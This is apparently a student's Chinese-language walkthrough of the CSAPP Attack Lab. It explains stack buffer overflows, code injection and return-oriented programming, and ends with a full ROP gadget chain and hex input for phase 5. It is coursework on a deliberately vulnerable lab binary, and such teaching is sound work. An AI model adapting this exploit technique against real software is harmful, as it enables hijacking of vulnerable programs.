CSAPP attacklab
attacklab总共有5个小实验,主要是围绕CSAPP这本书的3.10节内容展开,即缓冲区溢出攻击。
缓冲区溢出攻击:调用其他过程时当前%rip会存放在运行时栈上,通过缓冲区漏洞,可以修改ret时的%rip,使其指向恶意代码处。
实验的第一部分有3个小实验,主要是在ctarget上完成,代码没有任何缓冲区溢出保护:主要指每次运行ctarget,栈地址是不变的,所以code-injection(CI)十分容易进行。
主要方法是利用gdb调试工具,查看运行时栈的地址,然后就可以修改ret使其定位到插入的代码位置。常用的命令有:
gdb --args ./ctarget -q //使用gdb对带参数的可执行文件调试
break getbuf //在getbuf前插入断点
run //执行ctarget
info registers //查看寄存器信息
注意注意注意!!!!!这个ctarget和后面的rtarget在运行时必须要加 -q,否则会报错。这个在pdf里面好像没说,要在下载该实验的网站上才能看到http://csapp.cs.cmu.edu/3e/students.html
phase1,2,3都比较简单,我们最后会重点说一下phase5。下面图片里ctarget后面跟的就是我的输入
phase1就是直接找到touch1的地址,然后输在40个字节后面就可以(前40个字节无所谓),注意是小端法
phase2就是要把你的cookie放到%rdi中,然后再ret到touch2,所以在输入的40个字节后面的ret地址应该写你自己注入的代码首地址,然后你自己注入的代码最后ret到touch2
phase3的话就是要传一个字符串首地址进去,字符串就是自己的cookie,这个要注意的是如果把字符串存在一开始的40个字节里面,后面调用hexmatch的时候可能会覆盖掉这段内容,所以是存在地址更大的地方。
下面的第二部分,rtarget使用了缓冲区溢出的两种常用防范手段:
1、栈地址随机化,这样我们用gdb看栈地址就没有意义了
2、限制可执行代码区域,(个人理解可能是防止我们使用空雪橇操作注入代码)
所以使用的攻击手段是return-oriented-programming (ROP),即利用现有的代码,从中找很多以ret结尾的一小段,通过ret把他们拼接起来,组成攻击代码
phase4个phase2的要求一样,但是我们不能够直接把
movq $cookie, %rdi //cookie是一个立即数
输入到栈中然后ret到这段代码(不知道他的地址),而是要通过在garget中寻找这个命令,ret到这个地方。
phase5是最难的一个,主要就是需要获取栈地址,但是能获取到的又不是字符串的首地址,要通过加法运算获得,攻击的汇编代码如下:
movq %rsp, %rax //存栈指针
movq %rax, %rdi //放到rdi中,为后面加法做准备
popq %rax //pop字符串首地址和栈指针的偏移量
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi //上面3行将偏移量放到rsi中
lea (%rdi, %rsi, 1), %rax //加法计算字符串首地址
movq %rax, %rdi //首地址放在rdi中作为touch3的参数传递
garget中上面的片段如下:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax //pop rax
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) //movq rax,rdi
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax //add: rdi + rsi -> rax
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax //movl eax, edx
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax //movl ecx, esi
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax //movl eax, edx
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax // movl edx, ecx
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) //movq rsp, rax
输入的hex文件如下:
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 //40个废字节
ad 1a 40 00 00 00 00 00//跳转到movq %rsp, %rax
c5 19 40 00 00 00 00 00//跳转到movq %rax, %rdi
ab 19 40 00 00 00 00 00//跳转到popq %rax
48 00 00 00 00 00 00 00//存放的是存的rsp和字符串首地址的差值
dd 19 40 00 00 00 00 00//跳转到movl %eax, %edx
69 1a 40 00 00 00 00 00//跳转到movl %edx, %ecx
13 1a 40 00 00 00 00 00//跳转到movl %ecx, %esi
d6 19 40 00 00 00 00 00//跳转到lea (%rdi, %rsi, 1), %rax
c5 19 40 00 00 00 00 00//跳转到movq %rax, %rdi
fa 18 40 00 00 00 00 00//跳转到touch3
35 39 62 39 39 37 66 61 00//存放字符串,结尾00
(输入的时候注释去掉,然后各个指令的地址可能不一样,cookie字符串可能不一样)